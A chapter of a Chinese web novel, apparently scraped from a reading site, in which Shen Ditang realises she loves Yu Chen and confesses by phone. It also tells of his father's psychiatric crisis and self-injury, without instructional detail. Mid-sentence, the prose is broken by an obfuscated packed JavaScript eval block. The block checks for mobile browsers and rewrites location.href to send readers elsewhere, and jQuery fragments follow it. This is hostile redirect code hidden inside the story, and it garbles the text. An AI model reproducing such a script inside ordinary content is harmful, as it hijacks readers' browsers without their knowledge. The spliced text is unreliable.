巨蟹自由 作品
31. 第 31 章
思路没有,倒是扯掉了好几根头发,她心疼了半天。
手机叮咚一声,收到陈尔欣的消息:
【你明天穿漂亮点!】
沈棣棠回:【好。】
【不是普通的那种漂亮,是超级无敌那种漂亮!!】
过生日要穿漂亮点很合理,但二仙这么刻意强调,实在有点怪,沈棣棠问道:
【你这是怎么了?突然提醒我这个。】
陈尔欣抱着手机在床上鲤鱼打挺,恨不得直接告诉她。
她作为沈棣棠生日派对的总策划,原本安排了从中午十二点到晚上十二点的完美行程,确保沈棣棠享受一个充实尽兴的十八岁生日。
可跟另外三位沟通方案的时候,愉琛单独私聊她,跟她商量要取消晚八点到十二点的ktv活动。
陈尔欣极其敏锐地嗅到八卦的味道,故意没眼色地问他为什么。
愉琛说,我有话跟她说,已经等了太久,实在没办法再多等一天。
十八岁当天有话说,还等了太久,能是什么话?
———表白呗!!
陈尔欣激动得一蹦三尺高,差点闪了她脆弱的老腰。
天知道她忍住这么大的八卦用了多少毅力,用她母上的话说,她平时八卦吃瓜的毅力要是用在高考上,赶超愉琛根本不是难事。
她话不好说太明白,只得猛猛提示她可爱的花宝,在这个美好的日子里穿漂亮点,毕竟是成人之后第一次被人表白,不论成不成,都得给她自己留下个美好的回忆。
【别管,你就按照女明星的程度捯饬就完了!】
沈棣棠没懂她没头没尾的话,再问也问不出什么,只好作罢。
她把死活画不出的白纸放到一边,把从家里带出来的画一张张展平,铺在地上。画加上画框非常占地方,她为了方便携带,垫着纸卷起来,所幸没有开裂。
少数几张是季灵芝没带走的画,多数都是她自己从小到大画的那些。她翻着自己从前的画,试图从里面找找灵感。
她翻着翻着,发现里面有一张是风格梦幻的长裙洋娃娃。这幅画是她八岁画的,也是她之前最满意的一副。画上洋娃娃剔透的耳坠和轻盈的薄纱,在今天看来都是画得挺细腻的。
沈棣棠小时候不喜欢毛绒玩具和洋娃娃这类玩具,反倒喜欢陀螺赛车这些。季灵芝在她小时候,致力于把她培养成一位好嫁风的淑女,像她自己一样。
等她长大一些,季灵芝对女儿的溺爱胜过她自己的期待,也就由着她去了。
买这个洋娃娃的时候,季灵芝还没放弃希望,正努力将脸蛋软糯的沈棣棠培养成性格也软糯的乖乖女。沈棣棠在洋娃娃店里困得想打呵欠,对上季灵芝期待的目光,硬生生憋回去,顶着眼睛里的水汽硬是在店里瞄了一圈。
出人意料地——,她一眼看中那个长裙洋娃娃,倒不是因为她最好看,而是因为她特别像季灵芝。
同样色彩柔和的长裙贝雷帽,同样温婉地笑着。
沈棣棠自己热爱那种布料零碎、剪裁啰嗦而且色彩丰富的穿搭,季灵芝每次看到她衣柜都要叹气,温柔地感叹,乖宝,你是一只可爱的小鹦鹉。
小鹦鹉算是温和的说法,沈棣棠之前周末自习穿着碎布拼接流苏斗篷,周翊吉姐都不喊了,追着她叫七彩炸毛拖把精。
尽管审美天差地别,但沈棣棠依然觉得淡色长裙配羊毛贝雷帽这种温婉画家套装,穿在季灵芝身上就是世界上最美丽的搭配。
至此,那个长裙洋娃娃成为她最钟爱的玩具。
那个娃娃随着时间推移有些散架,季灵芝找人补了一次又一次,就快要彻底报废的时候,沈棣棠决定给娃娃画一幅油画,以这种方式留住洋娃娃。
不同于她之前画一张废一张的粗暴风格,这幅画她迟迟无法落笔。
一拖就是一个月。
她花了点时间才意识到,她是害怕废稿。她不忍心画出任何一张废稿,然后随手丢掉。这个洋娃娃即将被丢掉,这件事本身已经让她想到就难过,这么难的事,她只想做一次。
所以,哪怕是她这种根本不知道什么叫先想后做的脾气,也不愿轻易动笔。
最终她赶在洋娃娃散架前,眼泪汪汪地画完。情绪和心境融入画里,所以这幅画格外灵动细腻。
她从自幼没经历过物资匮乏的生活,爱惜便也成了最难的必修课。那是她第一次懂得,美好的东西都脆弱,挥霍不得。
洋娃娃教会她的第一课,——就是拥有的时候要想失去,相聚的时候要想别离,才懂爱惜两个字。
而第二课,是今天。
沈棣棠摸着洋娃娃微微上扬的嘴角,蓦然意识到,愉琛对她来说,和这个洋娃娃是一样的。
所以她连愉琛的卡通画都难以落笔,半年过去什么都画不出,也不敢问他报了哪所大学。
不想废稿,不想听到不愿接受的答案,不想——告别。
她的心跳在偷偷预设与他有关的失去与别离,她的大脑却迟钝地想不出原因。
沈棣棠耳边听到自己越来越大的呼吸声和扑通扑通的心跳,她迟钝的大脑引咎辞职,短暂地交出控制权,任由心跳频率指引方向。
她从衣柜里抓出衣服胡乱套上,抓起手机,开门冲出去。
酒店智能锁的滴滴声、心跳声、呼吸声、与脚步声混杂在一起,渐渐地只留下一种声音:
啊,我好像,喜欢他。
/
愉琛给沈棣棠发消息时,刚从医院回来,身上那股医院味怎么都洗不掉,吸进身体里,明明在仲夏夜,却觉得浑身冰冷。
每年临近白芦忌日的时候,家里总会鸡犬不宁,大概是今年流年不利,这个不得安宁的日子来得格外早。
起因是愉琅难得回来一次,却发现家里白芦的遗像没有好好摆在客厅,而是被收起来了。愉琅那个说一不二的暴炭脾气和白芦一脉相承,当场砸了愉杰临和安玉兰的结婚纪念照,摔门而去。
愉杰临吃的药正在减量,收遗像也是因为这个。刺激之下,他的情况迅速恶化。当天深夜,他念叨着心脏里面痛,用刮胡刀在胸口割出深深的口子。
愉琛夺刀的时候没收住力,把自己颈部割了长长一道血痕。安玉兰在这种时候反倒很镇定,把刀丢到一边,搀着一个,拉着一个,将血淋淋的两个男人一起送到医院。
愉杰临在精神科住了一个多月,愉琛日夜陪伴,他最近才有些好转。
愉琛站在镜子前,摸摸颈侧蜿蜒的疤痕,倦怠地闭了闭眼睛,揉揉眉心。
他久违地生出些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15175483|160806||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
烟瘾,拉开抽屉摸向那盒紫色的香烟,香烟滑倒跟里面的位置,手伸进去,倒是先摸到凉凉的餐垫。
他抽出一张,刚好是安德玛特的雪景,与原版不同的是,厚厚的积雪上趴着几只白色与茶色相间的小狐狸,每只都有厚厚的背毛和圆滚滚的脸蛋,憨态可掬。
那天晚餐是咖喱,黄色无论如何也擦不干净。沈棣棠随手添了几笔,画上了这些狐狸。
愉琛沉重的嘴角总算浮上一抹笑,他把餐垫轻轻放回去,关上抽屉。
门口的衣架上挂了外套与工装裤,茶色外套晕染了好几种斑斓的色彩,扎染出油画风,胸前的口袋上有一朵小小的刺绣花朵,和他平时那种黑白灰的穿衣风格截然相反。
但要是站在她旁边,会很顺眼。
愉琛把手伸进外套口袋里摸了摸,确认东西在里面。那点疲倦忽然就消散,取而代之的是一种磨人又愉悦的奇异感受,说不清是紧张还是兴奋,还有点上瘾。
那句你什么时候画我,是他焦灼之下的产物,刚发出去没多久就后悔了,不知道她会不会吓着。
很快就要到十二点了,他要掐着时间给小孔雀补一句生日快乐。
他刚摸到手机,沈棣棠就打来了。
愉琛调笑道:“怎么,画......”
“我!”她大约是在狂奔,风声卷着呼吸与脚步声灌进听筒,她有些上气不接下气,“你......”
愉琛紧张起来,“你在哪?怎么了?”
“愉琛!愉.....愉琛!我......我......”她那边风声弱下来,气息也平息不少,“太久没锻炼......跑几步喘成这样......”
愉琛听她语气不像是遇到什么麻烦,也放下心来,问她:“大半夜的,跑什么?”
“我有话跟你说!”沈棣棠总算喘匀,“我不画你不是因为你不好看,也不是因为不想画......是因为你真的好难画!!”
愉琛呼吸一滞。
沈棣棠不知是跑得太累还是天气太热,脸红透了,语速也越来越快:“我一开始觉得是你这个人长得太奇形怪状了,我根本分析不明白。我今天才想通,我是想把你画得很完美,尽可能地画出你原本的样子,而不是强加上我的视角,去塑造你!”
电波传来少女清亮的嗓音,愉琛有一瞬间晃神。
她说,不愿意塑造他。
这是与他过去人生相悖的一句话,以至于乍听上去,比起感动反而觉得荒诞,像铁链拴住的野兽,遇上第一个松开铁链的人时,只会觉得是自己的临终幻想,要花点时间才能体会到自由。
愉琛无言地闭上眼睛。
说到最后,沈棣棠几乎在喊:“愉琛!!我没办法轻易地画你,是因为你很重要你特别重要!!我喜欢你!我特别喜欢你!!我超级喜欢你!!!”
“我!”她缓一口气,后知后觉地有些不好意思,“我......不画你,也不问你大学,都是因为这个。我舍不得你变成废稿,也不想亲耳听到你说你要去北京。但这些都没关系!我以后.....我想给你画好多好多画!什么样的都想画,连泰坦尼克号那种也想画!”
靠。
沈棣棠说完就两眼一黑。
泰坦尼克号,那种画。
她恐怕是疯了......她到底在说什么啊?!